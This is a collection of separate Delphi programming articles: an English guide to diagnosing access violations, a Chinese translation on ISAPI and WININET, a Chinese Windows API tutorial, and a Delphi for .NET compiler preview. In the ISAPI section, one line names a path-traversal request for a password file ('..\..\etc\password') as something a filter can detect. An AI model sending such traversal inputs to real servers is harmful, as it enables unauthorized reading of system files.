You might want to consider compiling your application with the {$D} compiler directive - Delphi can create map files which can be a big help in locating the source of AV errors. The Project Options dialog box (Project|Options|Linker & Compiler) lets you specify all you need. For units, the debug information is recorded in the unit file along with the unit's object code. Debug information increases the size of unit file and takes up additional memory when compiling programs that use the unit, but it does not affect the size or speed of the executable program. The Include debug info (Project|Options|Linker) and Map file (Project|Options|Linker) options produce complete line information for a given module only if you've compiled that module in the {$D+} state.

Access violations usually manifest themselves in only one aspect of the program. It is important to think about what the user was doing when the problem first occurred, and then work towards a solution from there. From the user's point of view, your application has made the user stop working, and the time spent telling you about the problem seems to be delaying you from fixing it. However, talking with the user is the only way you will find the problem and improve your application.

Now you will see how to easily find the exact routine, source code file, and line where an AV occurred when given nothing more than the crash address.

'Search - Find Error...'
When a run-time AV occurs, the error message your user gets, looks something like:

Access violation at address <HEX_value>
in module <Application.Exe>
Read of address <HEX_value_2>

If you have your application compiled with debug information in the Delphi IDE, you can locate the line of source code corresponding to the compiled code that caused the access violation.

Non-existing object
One of the most common causes of AVs in Delphi programming is the use of an object that has not yet been created. If the second address is FFFFFFF (or 0000000) you can almost bet you are accessing an object that has not been created. For example calling a method on a form that was not auto-created and is not instantiated by the code.

procedure TfrMain.OnCreate(Sender: TObject);
var BadForm: TBadForm;
begin
  // this will generate an AV
  BadForm.Refresh;

end;

Suppose that BadForm is listed in the "Available Forms" list in the Project Options window - forms that need to be created and freed manually. In the code above the call to Refresh method of the BadForm form causes an access violation.

If you have enabled the "Stop on Delphi Exceptions" in the Language Exceptions tab on the Debugger Options window than the following message pops up:

The message states that the EAccessViolation has occurred. The EAccessViolation is the exception class for invalid memory access errors. This is what you will see while developing your application. The next message box will see the user - and the program will die:

Access violation at address 0043F193
in module 'Project1.exe'
Read of address 000000.

The first hex number ('0043F193') is the address of the runtime error in the compiled code (Project1.exe) were the AV occurred. In the IDE choose menu option 'Search|Find Error...', enter the address at which the error occurred ('0043F193') in the dialog and click OK. Delphi will now recompile your project and show you the line of source code were the runtime error occurred, that is, the BadForm.Refresh.

What follows is a list of the most common causes of AVs in Delphi development. This list is not, and it can't be, intended to cover all the situations in which an AV can occur. Please post your AV to the Forum - we'll try to solve them together - real life examples are normally more obscure than those that follow.

Calling a non-existing object
As stated above the most probable cause of AVs is the use of an object that has not yet been created or has already been destroyed. To prevent this kind of AV, be sure than any objects you refer to, have first been created. For example, you might be opening a Table in the form's OnCreate event when the Table component is located on a data module which has not been created yet (was removed from the auto-crete forms list).
In the next code an AV occurs after calling a method on an object (b:TBitmap) that has already been destroyed.

var b:TBitmap;
begin
 b:=TBitmap.Create;
 try
  //do something with b
 finally
  b.free;
 end;
 ...
 //this will cause an AV - b does not longer exist
 b.Canvas.TextOut(0,0,'this is an Access Violation');

end;

Invalid API parameter
If you attempt to pass an invalid parameter to a Win API procedure an AV might occur. The best way to solve this kind of AV is to refer to the Win API help for information on the particular API call and the parameters and parameter types it expects. For example, always be sure not to pass an invalid pointer to a buffer parameter.

Let Delphi Free
When an object ownes another object, let it do the deleting. Since, by default, all forms (autocreated) are owned by the Application object, when the application terminates, it frees the Application object, which frees all forms. For example, if you have two forms (Form1/Unit1 and Form2/Unit2) both autocreated when the application starts, the next code will result in an AV:

unit Unit1;
...
uses unit2;
...
procedure TForm1.Call_Form2
begin
 Form2.ShowModal;
 Form2.Free;
 Form2.ShowModal; //AV

end;

Killing the exception
Never destroy the temporary exception object (E). Handling an exception automatically destroys the exception object. If you destroy the object yourself, the application attempts to destroy the object again, generating an access violation.

Zero:=0;
try
 dummy:= 10 / Zero;
except
 on E: EZeroDivide do
   MessageDlg('Can not divide by zero!',
               mtError, [mbOK], 0);
 E.free. // causes an access violation

end;

Indexing an empty string
An empty string has no valid data. Therefore, trying to index an empty string is like trying to access nil and will result in an access violation:

var s: string;
begin
 s:='';
 s[1]:='a'; //AV

end;

Dereferencing pointers
You must dereference the pointers, otherwise you are moving the address of the pointers and possibly corrupting other memory locations.

procedure TForm1.Button1Click(Sender: TObject);
var
  p1 : pointer;
  p2 : pointer;
begin
  GetMem(p1, 128);
  GetMem(p2, 128);
 {This line may cause an access violation}
  Move(p1, p2, 128);
 {This line is correct}
  Move(p1^, p2^, 128);
  FreeMem(p1, 128);
  FreeMem(p2, 128);

end;

That's all folks
I hope that now, your users will scream less about how your application crashed.

Random access violations in the IDE

Delphi used to work fine but now I get random access violations in the IDE! Why?

You most likely installed a bad component or package that was not written/compiled for Delphi 4. Try uninstalling custom components one by one (or package by package) until the problem goes away, then get in touch with the component vendor regarding this issue. 2/0 / 998 2:59:06 PM


CSDN_文档中心_DELPHI AND THE INTERNET

DELPHI AND THE INTERNET
by Charlie Calvert

由Boen翻译，转载请注明： Translate by Boen.

中文译稿版权属Boen所有，使用权归 CNM 编程版

《第一》
--------------------------------------------------------------------------------

这篇文章主要讲述如何使DELPHI和因特网配合工作。本文中将详述两个专门技术：

WININET：构建 FTP，HTTP 和 Gopher 用户端程序

ISAPI：扩充因特网信息服务，例如，获得服务器上的信息并把它们显示在浏览器上。

现今的计算机世界中，由于微软公司的因特网战略而掀起了一个巨大发展潮流。那些制作CGI（公共网关接
口）和第三方工具（即使是最基本的因特网工具）的日子将最终一去不复返了。对复杂的第三方工具的需求
总是存在的，但现在程序员将会发现他们所需的大量的嵌入操作系统的因特网工具，简言之，并不需要进一
步的投资，你就能够使用免费的DELPHI资源来：

*开发 WEB 浏览器
*运行 FTP，HTTP 和 Gopher ，在两个DELPHI应用软件之间或DELPHI应用软件和基于TCP（传输控制协议）的
服务器之间操作TCP

因为DELPHI能够轻松地调用Windows API，并且它支持OCX/ActiveX，因此微软的新战略和我们的计划配合
的恰到好处。微软生产工具，而DELPHI程序员获得收成！

--------------------------------------------------------------------------------

在本篇中有些什么？

这篇文章中包含了三个大部分和一些小部分，有三个大主题：
*寻找资料： 那里能搞到本文中提及的技术资料，而且包含了关于您所需的运行文中代码的软硬件的简短
说明。
*ISAPI：怎样使用ISAPI
*WININET：怎样使用WININET

在大多数情况下，本文中的ISAPI和WININET部分是完全独立的，您可以自由地选择阅读时的顺序。

--------------------------------------------------------------------------------

查找资料，硬件和软件的要求

您需要一份Microsoft Windows NT 3.51 Server 或 NT 4.0 Server 的拷贝，其中应附有因特网信息服务
文档，因为您需要甬道其中所提到的技术。这份文档应随NT Server4.0 附送，NT 3.51的用户可从微软的
网址上下载。运行Windows NT，您的机器的最低配置应为486兼容，20兆以上内存。

您必须有另一台计算机装有网页浏览器。为使本文中的ISAPI部分能够顺利运行，第二台机器必须能够运行
所有支持网页浏览器的软件。如果在您的机器上运行的是Windows 95 或 Windows NT,那么本文中的WININET
代码片就能运行的最好。任何符合条件的网页浏览器在这种技术环境下都能够使用。

在1996年六月以后发布的Delphi2.0以上的版本中，有您所需的把Delphi连接到因特网上的几乎全部资源。
如果您没有最新的Delphi版本[注：此处作者指的是2.0版本（译者）]，那么您需要本文档中提到的特殊文
件，所有这些几乎都可以从万维网上免费获得[注：如果您正在使用Delphi2.0以上版本，则不许考虑
（译者）]。所有本文中提到的技术在Delphi2.0环境下都能顺利工作，但在16位Delphi环境下则不一定能
顺利工作。

如果您需要从万维网上下载信息，链接为：http://www.borland.com/TechInfo/delphi/index.html
[注：现在已经不存在了！:-(( （译者）]

Delphi2.0的新版本中附有 WININET.PAS 文档，如果你的拷贝中不包含它，那么上面那个万维网节点可以
为您提供。WININET.PAS包括为扩展微软视窗因特网所设计的变量清单、函数、类型和属性。这意味着您能
够轻而易举地为您的应用程序增添FTP、HTTP和Gopher支持。微软公司的WININET.DLL是免费发布的，如果
它不在您的Windows/System 或 Windows/System32 目录下的话，您可以从微软公司那里得到它。下面是可
获得WININET.H这个视窗帮助文件的万维网节点：

http://www.microsoft.com/intdev/sdk/docs/wininet/default.htm [注：好象也没了！:-( （译者）]

一般来说，微软因特网开发者的网上之家是微软节点的 INTDEV 部分。

除了WININET和ICP之外，另一个为Delphi支持的关键技术就是ISAP。正如微软公司文档中所描述的，这项技
术能使您“‘写入’服务器端的原本和过滤本，从而扩充微软因特网信息服务和其他ISAPI万维网服务”。
如果您需要找到关于ISAPI的描述，可以去：
http://www.microsoft.com/intdev/sdk/servapi.htm [注：上帝保佑您！;-) （译者）]

在本文最后，附加了一个名为HTTPEXT.PAS的关键的ISAPI文档的拷贝。

微软公司免费发布的因特网控制包（ICP）是一个OCX/ActiveX控制集，您可以在Delphi中把它们拖放到应用
程序上（Delphi2.0中包含这些控件）。他们提供了创建Delphi应用程序的即时支持，他们知道如何浏览网页、
如何应用FTP、WINSOCK和其他因特网技术。如果您的Delphi拷贝中没有包含这些控件，那么您在使用它们之
前您应该把这些文档添加进Delphi所在的目录中的Lib目录下。这些文档位于上面提及的链接中的Borland的
INDEX.HTML站点下。在本文中我没有提到ICP控件，但是任何对这项技术有兴趣的人应该明确确认他拥有这些
控件的拷贝。

您可以从我的站点下载我的Pascal应用文件，他们的名字是STRBOX.PAS 和 MATHBOX.PAS。

经常察看一下这个站点上的关于本文提到的信息的更新情况是很有好处的。

在这里我假设读者对于Delphi和Object Pascal都很熟悉，并且读者对于因特网，HTML，浏览器和万维网服
务器有基本的了解。

ISAPI

ISAPI是一项很容易使用然而功能强大的技术，它能够让您扩充因特网信息服务的功能。这项技术随WindowsNT
4.0附送，让您在您的服务器上建立WEB、FTP和GOPHER站点。同时这项技术与WindowsNT3.51 Server[注：指服
务器版本，另一个版本是工作站版本（译者）]兼容。

在过去，扩充网页服务器的最佳办法是建立CGI应用程序。它们是强有力的工具，但是也被他们的执行格式所
限制[注：如PERL是解释执行的（译者）]。当您从浏览其上发出一个基于CGI的请求到服务器上时，这个CGI
应用程序将极有可能先被强制装入内存中，这会消耗很多时间。而且，在某些环境下，CGI技术显得稍微难用
了一点。

ISAPI是一种通过写入DLLs[注：动态链结程序（译者）]从而替代CGI应用的方法。您也可以通过ISAPI来写
过滤文本，但这项技术我不会在本篇中提及。同CGI相比，ISAPI更容易使用，而且它更快，同时能更好地利
用系统资源。在下面几点中，我将详细地介绍为什么ISAPI DLLs比CGI应用要更为出色：

ISAPI DLLs与HTTP服务位于相同的地址，因此他们能够从服务器上直接存取HTTP服务。与CGI应用相比，它们
能更快地装入内存；当他们在服务器上发出请求时，所需的停悬的时间[注：指发出请求到接受服务器应答的
时间（译者）]要少的多。这点当服务器的负荷很重时更加重要。

您可以控制DLLs何时被装载和卸载。例如：您可以在第一次尝试请求时预先装载DLLs；当它们不被使用时卸载
这个ISAPI应用DLLs以便释放系统资源。

正如前文所述，您可以利用ISAPI写过滤文本[注：一般指C/S结构中的脚本（译者）]，更具微软的文档，您可
以通过ISAPI过滤文本做下面这些事情：

用户授权方案
压缩
加密
登入
通信分析或其他请求分析（例如，寻找 "..\..\etc\password" 中的请求）

在本文中，我会着重介绍如何编写返回数据集的DLLs，或者是如何与运行浏览器的用户进行简单的联系。

ISAPI 基础

HTTPEXT.PAS文件包含了使用ISAPI的关键声明。这个文件应随1996年6月以后发表的Delphi版本分发。它也可
以在Borland的站点上找到，在本文的ISAPI部分附有这份文档。因为这是基于NT的技术，您必须使用Delphi2.0
以上的版本来应用这项技术。您不可能在16位的编辑器上应用它。

HTTPEXT.PAS包含了微软公司创立的ISAPI技术的接口[注：指Delphi接口，ISAPI由C++编写（译者）]。在编写
Delphi的时候并没有提供ISAPI的用户接口，我会仅仅就如何使用微软公司的现有技术进行描述。不过，ISAPI
太容易使用了，而且对大多数用户来说，用户的Delphi对象的版本并不是必须的。

有三个函数可作为ISAPI DLLs的入口，前两个是必须的，第三个时可选的。

GetExtensionVersion: 进对最低版本做检查

HttpExtensionProc: 这是DLL的入口，就象是Delphi应用程序中的 begin...end 块

TerminateExtension: 这是个可选的程序，它可以用作清除其他内存分配的线程。

当您在创建ISAPI DLL的时候，您必须引用上面列出的三个函数中的头两个函数，执行这两个函数是所有ISAPI
编程的关键。

这三个语句都包含了“字输出”，使用这项术语是因为ISAPI DLLs扩充了因特网信息服务器。（记住，因特网
信息服务器指的是微软服务器。如果您要把一台NT服务器作为体格网页服务器的话，那么，这正是您所需的工
具。ISAPI DLLs随NT4.0分发，在安装操作系统是自动安装。）

ISAPI提供了一个制作服务器可遵循的标准。例如，它可以把网景公司的复杂的NSAPI接口压缩至相关的简练而
优美的ISAPI来对NSAPI接口进行操作。

下面是这两个重要函数的声明

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL; stdcall;
function HttpExtensionProc(var ECB: TExtensionControlBlock): DWORD; stdcall;

您只要把GetExtensionVersion粘贴到您的DLLs救行了.当ISAPI向公众发布新版本时您只需要做轻微的改动。

function GetExtensionVersion(var Ver: THSE_VERSION_INFO):
BOOL; stdcall;
begin
Ver.dwExtensionVersion := $00010000; // 1.0 support
Ver.lpszExtensionDesc := 'Delphi 2.0 ISAPI DLL'; // Description
Result := True;
end;

The parameter passed to this function is declared in HTTPEXT.PAS as follows:
有关的参数在HTTPEXT.PAS中声明如下：

PHSE_VERSION_INFO = ^THSE_VERSION_INFO;
THSE_VERSION_INFO = packed record
dwExtensionVersion: DWORD;
lpszExtensionDesc: array[0..HseMaxExtDLLNameLen-1] of Char;
end;

常量 HseMaxExtDllNameLen 在声明中的值为256。纪录中的这两个变量是“自声明”的，前一个包含了
ISAPI的版本号[注：即变量dwExtensionVersion （译者）]，后一个则表示用户定义的一个用来描述
DLLs的字符串。

在您引用GetExtensionVersion语句的同时，您必须在您的DLL程序的DPR文件部分增添输出部分。在您写
这段语句时您还应该写下：

exports
GetExtensionVersion,
HttpExtensionProc;

这就是您在建立这两个重要ISAPI DLL的函数时所要做的。下一步，使用 HttpExtensionProc，稍微复杂一
点，因此我将把它作为一个独立的部分。

与 HttpExtensionProc 一起工作

HttpExtensionProc语句是DLL的入口。它的作用就好比C语言中的 main() 语句，或者Delphi 中的
begin...end 部分

这里有一个简单的使用GetExtensionVersion语句的例子

function HttpExtensionProc(var ECB: TExtensionControlBlock):
DWORD; stdcall;
var
ResStr: string;
StrLen: Integer;
begin
ECB.lpszLogData := 'Delphi DLL Log';
ECB.dwHTTPStatusCode := 200;
ResStr := '<HTML><TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'<BODY>Hello from ISAPI<BR></BODY>' +
'</HTML>';

ResStr := Format(
'HTTP/1.0 200 OK'#13#10+
'Content-Type: text/html'#13#10+
'Content-Length: %d'#13#10+
'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);

StrLen := Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);
Result := HSE_STATUS_SUCCESS;
end;

如果您在浏览其中向这个DLL发出请求，那么您会得到一页这样的回应：

Test Server Results

Hello from ISAPI


CSDN_文档中心_Delphi API函数 详解(1)

    (一)控件与消息函数

    1、语法：AnyPopup: BOOL;

    单元：windows.pas（该单元DELPHI会自行在USES里加上，下同）

    作用：判断屏幕上是否存在任何弹出式窗口

    返回值：BOOL，如存在弹出式菜单，则返回TRUE

    注解：对该函数来说，弹出式菜单包含所有可见的包容顶级窗口，无论弹出式还是重叠窗口

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (AnyPopup) then

    Label1.Caption:=‘Pop－ups found: TRUE'

    else

    Label1.Caption:=‘Pop－ups found: FALSE';

    end;

    2、语法：EnableWindow(hWnd: HWND; bEnable: BOOL): BOOL;单元：windows.pas

    作用：指定的窗口里允许或禁止所有鼠标及键盘输入

    返回值：BOOL，如果返回真，WINDOWS已经禁止，否则返回假

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (IsWindowEnabled(Edit1.Handle)) then

    begin

    EnableWindow(Edit1.Handle,FALSE);

    Button1.Caption:=‘Enable Window';

    Edit1.Text:=‘This window is disabled';

    end

    else

    begin

    EnableWindow(Edit1.Handle,TRUE);

    Button1.Caption:=‘Disable Window';

    Edit1.Text:=‘This window is enabled';

    end;

    end;

    3、语法：FlashWindow(hWnd: HWND; bInvert: BOOL): BOOL;

    单元：windows.pas

    作用：闪烁显示指定窗口。这意味着窗口的标题和说明文字会发生变化，似乎从活动切换到非活动状态、或反向切换。通常对不活动的窗口应用这个函数，引起用户的注意

    返回值：BOOL,如窗口在调用前处于活动状态，则返回TRUE

    注解:该函数通常与一个计数器组合使用，生成连续的闪烁效果。

    在windows nt及windowsfor workgroup中，bInvert参数会被忽略。

    但在windows 95中不会忽略

    示例：

    procedure TForm1.Timer1Timer(Sender: TObject);

    begin

    FlashWindow(Form1.Handle, TRUE);

    FlashWindow(Application.handle, TRUE);

    end;

    4、语法：SetWindowText(hWnd: HWND;lpString: PChar): BOOL;

    单元：windows.pas

    作用：设置窗口的标题文字或控件的内容

    返回值：设置成功返回TRUE，否则返回FALSE

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    var

    TheText: PChar;

    TextLen: Integer;

    begin

    TextLen:=GetWindowTextLength(Form1.Handle);

    GetMem(TheText,TextLen);

    GetWindowText(Form1.Handle,TheText,TextLen＋1);

    Edit1.Text:=string(TheText);

    FreeMem(TheText);

    end;

    procedure TForm1.Button2Click(Sender: TObject);

    begin

    SetWindowText(Form1.Handle, PChar(Edit1.Text));

    end;

    5、语法：IsWindow(hWnd: HWND): BOOL;

    单元：windows.pas

    作用：判断一个窗口句柄是否有效

    返回值：有效返回TRUE，否则返回FALSE

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (IsWindow(Button1.Handle)) then

    Button1.Caption:=‘TRUE'

    else

    Button1.Caption:=‘FALSE';

    end;

    怎么样，还过瘾吧？今天是第一次，就介绍些较容易接受的函数，否则朋友们肯定会喊吃不消。不知道朋友们对这样的编排形式能够接受吗？还有，我会按照API函数的分类（控件与消息函数/硬件与系统函数/菜单函数/文本和字体函数/打印函数等等）分别介绍，但我不会介绍全部的API函数，否则大有骗稿费之嫌疑，而且本人的水平也难做到每个语句都有示例，只介绍平常用得上的，本人经常使用的函数，有时也会介绍一下比较隐秘但却非常有用的API函数。

    附TIPS（DELPHI技巧）一个：

    如果有这样一个目录：

    c:\windows\media\temp\abc\sound\chime.wav

    我希望它能缩短成：

    c:\windows\..\sound\chime.wav

    如何写程序呢？

    回答：

    用下面的过程试试：

    function shortenfilename(s : string) : string;

    var drive,curdrive : string［2］;

    dir,curdir : string［80］;

    name : string［20］;

    ext : string［5］;

    i : byte;

    begin

    for i:=1 to length(s) do s［i］:=upcase(s［i］);

    s:=fexpand(s);

    fsplit(s,dir,name,ext);

    drive:=copy(dir,1,2);

    dir:=copy(dir,4,length(dir)－3);

    getdir(0,curdir);

    curdrive:=copy(curdir,1,2);

    curdir:=copy(curdir,4,length(curdir)－3)＋‘\';

    if drive=curdrive then begin

    if copy(dir,1,length(curdir))=curdir then begin

    i:=length(curdir);

    if length(dir)<>i then dir:=dir＋‘\';

    shortenfilename:=copy(dir,i＋1,length(dir)－i－1)＋name＋ext;

    end else shortenfilename:=copy(s,3,length(s)－2);

    end else shortenfilename:=s;

    end;


CSDN_文档中心_Delphi for .Net 编译器预览 - by John Kaster

www.borland.com
AppServer C++ CORBA Delphi & Kylix InterBase Java Linux TeamSource DSP
Borland Developer Network Home >Delphi & Kylix> Platforms

Delphi for .NET compiler preview - by John Kaster

Abstract:A first look at the Delphi for .NET compiler features and Delphi's new language syntax

by John Kaster and Danny Thorpe

At BorCon 2002, Borland started providing more technical details on our support under development for the .NET platform. This article introduces some of the planned enhancements to the Delphi language and introduces the prototype "Delphi for .NET" compiler. Unless otherwise indicated, the language features discussed here will first be seen in the Delphi for .NET compiler. Furthermore, all of the features discussed in this article may not be introduced in the preview release. When possible, features already implemented in the compiler will be listed, but since the compiler is in beta right now, not much emphasis will be placed on distinguishing what's currently implemented and what's not.

For a good, brief overview of .NET and an introduction to some of the terms mentioned in this article, see http://arstechnica.com/paedia/n/net/net-1.html.

DCCIL

The Delphi for .NET compiler produces Common Intermediate Language (CIL) applications. These applications can run anywhere the .NET run-time is available as fully managed applications. This means that Delphi applications can now move beyond their traditional Windows/Intel platform to any other platform that has a .NET runtime, such as the .NET compact framework available for tablet PCs, phones, and PDAs.

The Delphi command line compiler for IL is dccil.exe. Here's what currently shows up when you run it without any parameters. (This output is guaranteed to change before we release the Delphi for .NET preview with Delphi 7.)

Borland Delphi Version 16.0
Copyright (c) 1983,2002 Borland Software Corporation
Confidential pre-release version built Aug  2 2002 17:29:33

Syntax: dccil [options] filename [options]

  -A<unit>=<alias> = Set unit alias  -LU<package> = Use package
  -B = Build all units               -M = Make modified units
  -CC = Console target               -N<path> = DCU output directory
  -CG = GUI target                   -O<paths> = Object directories
  -D<syms> = Define conditionals     -P = look for 8.3 file names also
  -E<path> = EXE output directory    -Q = Quiet compile
  -F<offset> = Find error            -R<paths> = Resource directories
  -GD = Detailed map file            -U<paths> = Unit directories
  -GP = Map file with publics        -V = Debug information in EXE
  -GS = Map file with segments       -VR = Generate remote debug (RSM)
  -H = Output hint messages          -W = Output warning messages
  -I<paths> = Include directories    -Z = Output 'never build' DCPs
  -J = Generate .obj file            -$<dir> = Compiler directive
  -JP = Generate C++ .obj file       --help = Show this help screen
  -K<addr> = Set image base addr     --version = Show name and version
Compiler switches: -$<letter><state> (defaults are shown below)
  A8  Aligned record fields           P+  Open string params
  B-  Full boolean Evaluation         Q-  Integer overflow checking
  C+  Evaluate assertions at runtime  R-  Range checking
  D+  Debug information               T-  Typed @ operator
  G+  Use imported data references    U-  Pentium(tm)-safe divide
  H+  Use long strings by default     V+  Strict var-strings
  I+  I/O checking                    W-  Generate stack frames
  J-  Writeable structured consts     X+  Extended syntax
  L+  Local debug symbols             Y+  Symbol reference info
  M-  Runtime type info               Z1  Minimum size of enum types
  O+  Optimization
product version: VER160
debug level: 2

In an effort to maintain the trend of asking about pronunciations ("Is it 'delf-ee' or 'delf-eye'?"), I feel obligated to mention that the R&D team pronounces the compiler as "diesel."

A Delphi for .NET GUI application

As with Kylix, a basic step in our .NET support was getting a compiler that actually produces the appropriate "machine code" executable. In this case, that machine is .NET. A form designer is not currently available for Delphi for .NET, so you will notice that the following code actually initializes the menu items, button, listbox, and up/down control.

program ConvertIt;

uses
  System.Drawing,
  Borland.Delphi.SysUtils, Borland.Delphi.Conversions, Borland.Vcl.Controls;

type
  TForm1 = class(TForm)
  private
    DoitButton: TButton;
    CelsiusEdit: TSpinEdit;
    ResultList: TListBox;
    MainMenu: TMainMenu;
    FileItem: TMenuItem;
    ExitItem: TMenuItem;
    HelpItem: TMenuItem;
    AboutItem: TMenuItem;
    procedure DoitButtonClick(Sender: TObject; Args: TEventArgs);
    procedure ExitItemClick(Sender: TObject; Args: TEventArgs);
    procedure AboutItemClick(Sender: TObject; Args: TEventArgs);
  protected
    function DecimalToFloat(const AValue: Decimal): Double;
    function FloatToDecimal(const AValue: Double): Decimal;
    procedure ReadState;
  public
    constructor Create;

    procedure Convert;
  end;

var
  Form1: TForm1;

function TForm1.DecimalToFloat(const AValue: Decimal): Double;
begin
  Result := System.Convert.ToDouble(AValue);
end;

function TForm1.FloatToDecimal(const AValue: Double): Decimal;
begin
  Result := System.Convert.ToDecimal(AValue);
end;

procedure TForm1.Convert;
var
  LCelsius: Double;

  function NthDegree(const Scale: string; const Temperature: double): string;
  begin
    Result := Format('%s = %8.2f', [Scale, Temperature]);
  end;

begin
  LCelsius := DecimalToFloat(CelsiusEdit.Value);
  with ResultList.Items do
  begin
    Clear;
    Add(NthDegree('Celsius', LCelsius));
    Add(NthDegree('Fahrenheit', CelsiusToFahrenheit(LCelsius)));
    Add(NthDegree('Kelvin', CelsiusToKelvin(LCelsius)));
    Add(NthDegree('Rankine', CelsiusToRankine(LCelsius)));
    Add(NthDegree('Reaumur', CelsiusToReaumur(LCelsius)));
  end;
end;

procedure TForm1.DoitButtonClick(Sender: TObject; Args: TEventArgs);
begin
  Convert;
end;

procedure TForm1.ExitItemClick(Sender: TObject; Args: TEventArgs);
begin
  Close;
end;

procedure TForm1.AboutItemClick(Sender: TObject; Args: TEventArgs);
begin
  TMessageBox.Show(Text + ' whatever');
end;

constructor TForm1.Create;
begin
  inherited Create;

  ReadState;
end;

procedure TForm1.ReadState;
begin
  MainMenu := TMainMenu.Create;
  FileItem := TMenuItem.Create;
  ExitItem := TMenuItem.Create;
  HelpItem := TMenuItem.Create;
  AboutItem := TMenuItem.Create;

  MainMenu.MenuItems.Add(FileItem);
  MainMenu.MenuItems.Add(HelpItem);

  FileItem.MenuItems.Add(ExitItem);
  FileItem.Text := 'File';

  ExitItem.Text := 'Exit';
  ExitItem.add_Click(ExitItemClick);

  HelpItem.MenuItems.Add(AboutItem);
  HelpItem.Text := 'Help';

  AboutItem.Text := 'About...';
  AboutItem.add_Click(AboutItemClick);

  DoitButton := TButton.Create;
  with DoitButton do
  begin
    Left := 8;
    Top := 8;
    Width := 33;
    Height := 25;
    Text := 'Go';
    add_Click(DoitButtonClick);
  end;

  CelsiusEdit := TSpinEdit.Create;
  with CelsiusEdit do
  begin
    Left := 48;
    Top := 8;
    Width := 177;
    Value := FloatToDecimal(100);
    Maximum := FloatToDecimal(10000);
    Minimum := FloatToDecimal(-1000);
    add_ValueChanged(DoitButtonClick);
  end;

  ResultList := TListBox.Create;
  with ResultList do
  begin
    Left := 8;
    Top := 40;
    Width := 217;
    Height := 217;
  end;

  ClientSize := System.Drawing.Size.Create(240, 270);
  Menu := MainMenu;
  Controls.Add(DoitButton);
  Controls.Add(CelsiusEdit);
  Controls.Add(ResultList);
  Text := 'ConvertIt!';
  ControlBox := True;
  MinimizeBox := True;

  Convert;
end;

begin
  Form1 := TForm1.Create;
  TApplication.Run(Form1);
end.

Note! The unit Borland.Delphi.Conversions contains the various Celsius temperature conversion routines. The unit Borland.VCL.Controls is a preliminary version that will not be included with the initial preview release.

The source code listed above is contained in ConvertIt.dpr, and is sure to change even before we ship the .NET preview compiler with Delphi 7. If we compile it, we'll see:

[d:d4.netconvert.net]dccil ConvertIt.dpr
Borland Delphi Version 16.0
Copyright (c) 1983,2002 Borland Software Corporation
Confidential pre-release version built Aug  2 2002 17:29:33
Borland.Delphi.Conversions.pas(60)
Borland.Vcl.Controls.pas(38)
ConvertIt.dpr(159)
260 lines, 0.64 seconds, 12232 bytes code, 0 bytes data.

After compiling the application, of course we should run it. Here's what the application looks like after a little resizing to minimize the image size.

Fully Managed Code

This application is a 100% managed code application, as the results of PEVerify show:

[d:d4.netconvert.net]peverify ConvertIt.exe

Microsoft (R) .NET Framework PE Verifier  Version 1.0.3705.0
Copyright (C) Microsoft Corporation 1998-2001. All rights reserved.

All Classes and Methods in ConvertIt.exe Verified

You can use Microsoft IL Disassembler (ildasm) to examine the executable.

ILDasm on main app
ILDasm running on ConvertIt.exe

You can examine the .NET assembler code for any module.

.NET assembler code for function NthDegree

Delphi for .NET code also works with Lutz Roeder's excellent utility, Reflector. (This link contains some other great .NET utilities as well.)

ConvertIt examined in Reflector

The .NET compiler

The Delphi for .NET compiler is more than just a port of the existing Delphi compiler. There is a new code generator, a new linker, significant new syntax, and a new runtime library. Of course, it is also very important to maintain language compatibility, so you will see some familiar old friends in Delphi for .NET as well:

  • Strings & Arrays
  • Records
  • Classes
  • Interfaces
  • Properties & Events
  • Sets
  • Text files
  • Local Procedures
  • Variants
  • Components
  • Streams
  • New, Dispose
  • Readln, Writeln
  • Format
  • Component Streaming
  • Random

In order to fully embrace the CLR and make Delphi a first class citizen in the new world of managed code, some language features must be deprecated, and others are the subject of ongoing research. Though many of these details are still being researched and implemented, it is hoped that the following information will be useful for understanding the new language features of Delphi for .NET.

Unsafe code warnings in Delphi

Starting with Delphi 7, the compiler includes three new warnings that can help you locate code that is non-portable (i.e. it uses a deprecated language feature or type), or unsafe in the .NET Framework. In the .NET Framework, "unsafe" simply means that the code cannot be verified by the static analysis performed by the CLR when the code is loaded. The compiler can warn about the usage of unsafe types, unsafe code, and unsafe casts.

Unsafe types

  • PChar, PWideChar, and PAnsiChar
  • Untyped pointers
  • Untyped var and out parameters
  • File of <type>
  • Real48
  • Variant records (records containing overlapping fields)

    Unsafe code

  • Absolute variables
  • Addr(), Ptr(), Hi(), Lo(), Swap() standard procedures
  • BlockRead(), and BlockWrite()
  • Fail()
  • GetMem(), FreeMem(), ReallocMem()
  • inline assembler
  • the @ operator

    Unsafe casts

  • Casting an object instance to a type that is not an ancestor or descendent of the instance type
  • Casting a record type to anything else

    These new warnings are disabled by default. They can be enabled with the IDE Project Options dialog box, or with the compiler directive:

    {$WARN UNSAFE_CODE ON}

    They can also be enabled with the -W command line switch:

    dcc32 -W+UNSAFE_CODE

    Note there is no space before or after the '+' character on the command line switch.

    Note: These new warnings are in the Delphi 7 (and beyond) compiler for Win32 (dcc32). They are not in the Delphi for .NET Preview compiler (dccil).

    Deprecated Language Features

    The dccil compiler will also deprecate some existing language features, listed in the following table.

    Keyword/Language Feature | Notes
    Real48 six byte floating type
    GetMem(), FreeMem(), and ReallocMem() | Use dynamic arrays, or rely on automatic dispose pattern implementation
    BlockRead(), BlockWrite()
    Absolute directive, Addr, and @
    Pre-Delphi object syntax (type foo = object)
    TVarData, Variant internals | Variant semantics will be supported but not as TVarData
    File of <type> | This construct cannot be implemented because the Delphi compiler cannot know the size of <type> on the target platform (e.g. a handheld device). The JIT compiler for the specific platform determines the size of intrinsic types.
    Untyped var and out parameters | Untyped const parameters are still supported
    PChar | In a future release Delphi for .NET will support unsafe managed code (i.e. pointers). Unsafe, unmanaged pointers are not supported in the preview release.
    automated and dispid directives
    Inline assembly - asm statement
    TInterfacedObject | AddRef, QueryInterface, and Release are deprecated. In the preview release TInterfacedObject is an alias for TObject.
